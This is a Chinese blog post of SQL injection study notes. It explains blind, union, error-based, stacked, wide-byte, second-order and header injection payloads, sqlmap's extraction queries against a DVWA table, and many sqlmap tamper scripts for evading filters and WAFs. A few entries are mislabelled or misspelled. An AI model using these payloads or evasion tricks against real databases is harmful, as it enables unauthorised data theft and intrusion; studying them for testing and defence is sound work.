数据库注入语句收集及学习

27

0x00 任务介绍

1、收集网络上各种 sql 注入时使用的 payload 并理解其适用的环境(检测注入、利用注入)

2、记录 sqlmap 的检测和利用过程中使用的 payload(也算一种 payload 收集方式)

3、理解以上涉及的 sql 语句的意思,其中会涉及不同的数据库、不同注入场景,可以将学习的过程和收集的方式进行整理形成报告,关于 payload 的理解,其中会涉及之前学习的基础。

扩展学习:理解 sqlmap 自带 tamper 的原理,这里通常包含很多数据库的特性,从而实现 payload 变形啥的,用来绕过一些简单的安全检测

0x01 收集注入语句

盲注

1、布尔注入

1
2
3
4
5
6
7
8
9
10
11
利用场景
通过页面是否返回正常判定是否存在注入
原理
以真假判断是否存在,真为正常,假为不正常(页面区别不大,需仔细辨别不同点来判断是否存在注入)

测试流程
存在注入点,判断第一个数据库第一个字符是否等于c
and substr(database(),3,1)='c'
判断数据库的第一张表的第一个字符是否等于a
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97#
列名及数据同上,此处可使用burp遍历

image-20200213013652627

2、延时注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
利用场景
根据注入函数sleep来判断,若注入条件成立,则延长网页返回时间。

原理
使用判断语句判断条件是否正确。if(exp1,exp2,exp3),若第一个条件成立,则执行第二条,反之第三条

测试流程
数据库名如果等于8个字符,网页延时10秒
and if(length(database())=8,sleep(10),1)
数据库的第一个字符如果等于a,页面延时10秒
and if(substr(database(),1,1)='a',sleep(10),1)
数据库第一张表的第一个字符如果等于a,页面延时10秒
and if(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a',sleep(10),1)--+
列名及数据同上,此处可使用burp遍历

联合查询注入

1
2
3
4
5
6
7
8
使用场景
页面必须有显示位,客户端将数据展示在页面中,展示数据的位置就叫显示位
流程
判断是否存在注入点
判断字段 order by n
union select 1,2,...,n
显示报错位
在报错位置写入注入语句

报错注入

利用场景:

​ 页面无显示位,但是有sql注入语句执行错误信息显示。

1、floor报错注入

1
2
3
4
5
6
7
8
9
10
原理
报错基于count,rand,group by三者,floor(rand(0)*2))报错条件记录必须大于3条以上,
floor(rand(0)*2)),随机数*2后向下取整
count(*), group by,创建一张虚拟表来统计所有数据,虚拟表中有唯一主键值,floor(rand(0)*2))让主键值重复,并抛出主键异常报错

查询数据库版本
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

查询数据库
and (select 1 from(select+count(*),concat(floor(rand(0)*2),database())a from information_schema.tables group by a)b)%23

image-20200213003231964

image-20200213003529570

2、updatexml报错注入

1
2
3
4
5
原理
updatexml的第二个参数需要xpath格式字符串,0x7e不是xpath格式语句,所以会将中间执行结果以错误形式报出。

查询数据库版本信息
and updatexml(1,concat(0x7e,@@version,0x7e),1)

image-20200213010305239

3、ExtractValue报错注入

1
2
3
4
5
原理同updatexml一样
updatexml的第二个参数需要xpath格式字符串,0x7e不是xpath格式语句,所以会将中间执行结果以错误形式报出。

查询数据库版本信息
and extractvalue(1,concat(0x7e,@@version,0x7e))

image-20200213011351107

堆查询注入

1
2
3
4
5
6
7
8
9
10
11
利用场景 
可用于执行多条sql语句,以;分割,堆注入通过第二条语句来执行自己需要构造的语句。
原理
堆叠注入可同时使用多条语句,使用;分割,判断存在注入,则可使用堆叠注入构造要执行的语句。
可结合时间盲注、布尔盲注

测试流程
判断第一个数据库的长度大于10,页面延时4秒
;select if(length(database())>10,sleep(4),1)
判断第一个数据库,第一个字符是否等于s,如果存在页面延时4秒
;select if(substr(database(),1,1)='s',sleep(4),1)

宽字节注入

1
2
3
4
5
6
7
8
9
利用场景
mysql数据库字符编码为gbk时,会认为两个字符为一个汉字。
原理
宽字节注入发生在数据库编码为gbk的情况下,需要绕过\,代码使用\’过滤单引号情况下
\编码是%5c,%df%5c可以组成一个中文字符“連”,使用%df可以将%5c吃掉组成一个中文字符,则可以成功绕过\

测试流程
判断存在注入并且被转义,此时数据库是gkb编码,id='1%df%5c' union select 1,...,n#'
可以绕过转义进行注入

二次注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
利用场景
开发者对插入数据库恶意语句进行转义,但在恶意数据插入数据库时被处理的数据又被还原并存储在数据库中。
原理
根据写入数据库的特殊数据结合数据库正常语句执行后形成的二次注入,代码中转义或过滤了敏感字符,但写入
数据库未过滤敏感字符,将用户写入的数据完整的存入数据库而导致的二次注入

测试流程
创建一个特殊流程,test'--,数据库语句:
insert into test(user,password) values('test'','1234');
此时存在一个正常用户,test,修改密码,此时数据库语句如下
update users set pawweord='yes' user='test'--' and old_pass='1234'
等于'--注释掉后面的所有语句,执行了此条语句
update users set pawweord='yes' user='test'
用户从test'--变成了test,修改了正常用户test的密码。

xff(x-forwarded-for)注入

1
2
3
4
5
原理
使用burp重放模块修改x-forwarded-for值,可用于伪造ip

测试流程
x-forwarded-for:127.0.0.1' and 1=1# 判断是否存在注入,存在返回正常,不存在返回报错

偏移注入

1
2
3
4
5
6
7
8
9
原理
已知user表存在8个字段,判断存在admin表,但不知道有几个字段,可通过偏移注入查询

测试流程
union select 1,2,3,4,5,6,7,8 from user user表
查询admin表,使用admin.*来偏移,判断admin表存在几个字段
union select 1,2,3,4,5,6,7,admin.* from user
union select 1,2,3,4,5,admin.* from user 返回正常,则admin表存在3个字段
偏移注入试用于access数据库

0x02 SqlMap Payload收集

sqlmap支持五种不同的注入模式

1
2
3
4
5
6
7
8
9
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。 

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页 面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有:

1
2
3
4
5
6
7
8
9
10
MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB

sqlmap对一个点是进行了怎样的尝试判断以及读取数据,可以使用-v参数。共有七个等级,默认为1:

1
2
3
4
5
6
7
8
9
10
11
12
13
0、只显示python错误以及严重的信息。 

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

函数

1
2
3
4
5
6
7
8
9
10
11
12
13
ORD(string) :返回字符串首字符的ASCII码值。

MID(string,start,length) :返回字符串的从start开始长度为length的字符串。

IFNULL(string1,string2) :如果string1是NULL则返回string2,如果不是NULL返回string1。

CAST(volume as type) 用于数据类型转换,将volume转换成type类型的数据(如这里是将数字转换为字符串)。

COUNT(): 统计个数。

DISTINCT(): 标记只要不同(唯一)的值。

INFORMATION_SCHEMA是mysql自带的一个访问元数据的数据库,也就是数据库信息,里面有很多表,在这里使用了SCHEMATA表这个表储存的是所有数据库的信息。

获取数据库名

1
4 AND ORD(MID((SELECTDISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20))FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),1,1)) >64
1
LIMIT 0,1意思是取出第一个数据库。 LIMIT的意思是限定到的条目的位置以及数量,第一个参数是代表偏移量(从0开始,0即代表不偏移从第一个 开始),第二个参数代表返回的数量。

获取表名

1
4 AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),1,1))>64

获取所有字段

1
4 AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761),1,1))>51

获取第一个字段名

1
4 AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 0,1),1,1))>64

获取字段中数据

1
4 AND ORD(MID((SELECT IFNULL(CAST(`user` AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))>64

0x03 常用的tamper脚本

  1. apostrophemask.py
1
2
3
4
5
6
7
适用数据库:ALL

作用:将引号替换为utf-8,用于过滤单引号

使用脚本前:tamper("1 AND '1'='1")

使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
  1. base64encode.py
1
2
3
4
5
6
7
适用数据库:ALL

作用:替换为base64编码

使用脚本前:tamper("1' AND SLEEP(5)#")

使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
  1. multiplespaces.py
1
2
3
4
5
6
7
适用数据库:ALL

作用:围绕sql关键字添加多个空格

使用脚本前:tamper('1 UNION SELECT foobar')

使用脚本后:1 UNION SELECT foobar
  1. space2plus.py
1
2
3
4
5
6
7
适用数据库:ALL

作用:用加号替换空格

使用脚本前:tamper('SELECT id FROM users')

使用脚本后:SELECT+id+FROM+users
  1. nonrecursivereplacement.py
1
2
3
4
5
6
7
8
9
适用数据库:ALL

作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将

select替换为空)

使用脚本前:tamper('1 UNION SELECT 2--')

使用脚本后:1 UNIOUNIONN SELESELECTCT 2--
  1. space2randomblank.py
1
2
3
4
5
6
7
适用数据库:ALL

作用:将空格替换为其他有效字符

使用脚本前:tamper('SELECT id FROM users')

使用脚本后:SELECT%0Did%0DFROM%0Ausers
  1. unionalltounion.py
1
2
3
4
5
6
7
适用数据库:ALL

作用:将union allselect 替换为unionselect

使用脚本前:tamper('-1 UNION ALL SELECT')

使用脚本后:-1 UNION SELECT
  1. securesphere.py
1
2
3
4
5
6
7
适用数据库:ALL

作用:追加特定的字符串

使用脚本前:tamper('1 AND 1=1')

使用脚本后:1 AND 1=1 and '0having'='0having'
  1. space2dash.py
1
2
3
4
5
6
7
适用数据库:ALL

作用:将空格替换为--,并添加一个随机字符串和换行符

使用脚本前:tamper('1 AND 9227=9227')

使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227
  1. space2mssqlblank.py
1
2
3
4
5
6
7
8
9
10
11
适用数据库:Microsoft SQL Server

测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005

作用:将空格随机替换为其他空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07',

'%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')

使用脚本前:tamper('SELECT id FROM users')

使用脚本后:SELECT%0Eid%0DFROM%07users
  1. percentage.py
1
2
3
4
5
6
7
8
9
10
11
适用数据库:ASP

测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL

9.0

作用:在每个字符前添加一个%

使用脚本前:tamper('SELECT FIELD FROM TABLE')

使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
  1. sp_password.py
1
2
3
4
5
6
7
适用数据库:MSSQL

作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password

使用脚本前:tamper('1 AND 9227=9227-- ')

使用脚本后:1 AND 9227=9227-- sp_password
  1. charencode.py
1
2
3
4
5
6
7
8
9
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、 

PostgreSQL 8.3, 8.4, 9.0

作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)

使用脚本前:tamper('SELECT FIELD FROM%20TABLE')

使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
  1. randomcase.py
1
2
3
4
5
6
7
8
9
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、 

PostgreSQL 8.3, 8.4, 9.0

作用:随机大小写

使用脚本前:tamper('INSERT')

使用脚本后:INseRt
  1. charunicodeencode.py
1
2
3
4
5
6
7
8
9
10
11
适用数据库:ASP、ASP.NET

测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3

作用:适用字符串的unicode编码

使用脚本前:tamper('SELECT FIELD%20FROM TABLE')

使用脚本后:

%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
  1. space2comment.py
1
2
3
4
5
6
7
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用:将空格替换为/**/

使用脚本前:tamper('SELECT id FROM users')

使用脚本后:SELECT/**/id/**/FROM/**/users
  1. equaltolike.py
1
2
3
4
5
6
7
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5

作用:将=替换为LIKE

使用脚本前:tamper('SELECT * FROM users WHERE id=1')

使用脚本后:SELECT * FROM users WHERE id LIKE 1
  1. equaltolike.py
1
2
3
4
5
6
7
测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用:将>替换为GREATEST,绕过对>的过滤

使用脚本前:tamper('1 AND A > B')

使用脚本后:1 AND GREATEST(A,B+1)=A
  1. ifnull2ifisnull.py
1
2
3
4
5
6
7
8
9
适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)

测试通过数据库:MySQL 5.0 and 5.5

作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤

使用脚本前:tamper('IFNULL(1, 2)')

使用脚本后:IF(ISNULL(1),2,1)
  1. modsecurityversioned.py
1
2
3
4
5
6
7
8
9
适用数据库:MySQL

测试通过数据库:MySQL 5.0

作用:过滤空格,使用mysql内联注释的方式进行注入

使用脚本前:tamper('1 AND 2>1--')

使用脚本后:1 /*!30874AND 2>1*/--
  1. space2mysqlblank.py
1
2
3
4
5
6
7
8
9
适用数据库:MySQL

测试通过数据库:MySQL 5.1

作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')

使用脚本前:tamper('SELECT id FROM users')

使用脚本后:SELECT%0Bid%0DFROM%0Cusers
  1. modsecurityzeroversioned.py
1
2
3
4
5
6
7
8
9
适用数据库:MySQL

测试通过数据库:MySQL 5.0

作用:使用内联注释方式(/*!00000*/)进行注入

使用脚本前:tamper('1 AND 2>1--')

使用脚本后:1 /*!00000AND 2>1*/--
  1. space2mysqldash.py
1
2
3
4
5
6
7
适用数据库:MySQL、MSSQL

作用:将空格替换为 -- ,并追随一个换行符

使用脚本前:tamper('1 AND 9227=9227')

使用脚本后:1--%0AAND--%0A9227=9227
  1. bluecoat.py
1
2
3
4
5
6
7
8
9
适用数据库:Blue Coat SGOS

测试通过数据库:MySQL 5.1,、SGOS

作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=

使用脚本前:tamper('SELECT id FROM users where id = 1')

使用脚本后:SELECT%09id FROM users where id LIKE 1
  1. versionedkeywords.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
适用数据库:MySQL

测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11

作用:注释绕过

使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL,

CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS

CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')

使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,

CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(

32)),CHAR(58,100,114,117,58))#
  1. halfversionedmorekeywords.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
适用数据库:MySQL < 5.1

测试通过数据库:MySQL 4.0.18/5.0.22

作用:在每个关键字前添加mysql版本注释

使用脚本前:tamper("value' UNION ALL SELECTCONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS

CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")

使用脚本后:

value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNUL

L(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58*

*)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
  1. space2morehash.py
1
2
3
4
5
6
7
8
9
适用数据库:MySQL >= 5.1.13

测试通过数据库:MySQL 5.1.41

作用:将空格替换为#,并添加一个随机字符串和换行符

使用脚本前:tamper('1 AND 9227=9227')

使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
  1. apostrophenullencode.py
1
2
3
4
5
6
7
适用数据库:ALL

作用:用非法双字节Unicode字符替换单引号

使用脚本前:tamper("1 AND '1'='1")

使用脚本后:1 AND %00%271%00%27=%00%271
  1. appendnullbyte.py
1
2
3
4
5
6
7
适用数据库:ALL

作用:在有效载荷的结束位置加载null字节字符编码

使用脚本前:tamper('1 AND 1=1')

使用脚本后:1 AND 1=1%00
  1. chardoubleencode.py
1
2
3
4
5
6
7
8
9
10
11
适用数据库:ALL

作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)

使用脚本前:tamper('SELECT FIELD FROM%20TABLE')

使用脚本后:

%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F

%254D%2520%2554%2541%2542%254C%2545
  1. unmagicquotes.py
1
2
3
4
5
6
7
适用数据库:ALL

作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格

使用脚本前:tamper("1' AND 1=1")

使用脚本后:1%bf%27 AND 1=1--
  1. randomcomments.py
1
2
3
4
5
6
7
适用数据库:ALL

作用:用注释符分割sql关键字

使用脚本前:tamper('INSERT')

使用脚本后:I//N//SERT
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2015-2020 John Doe
  • 访问人数: | 浏览次数: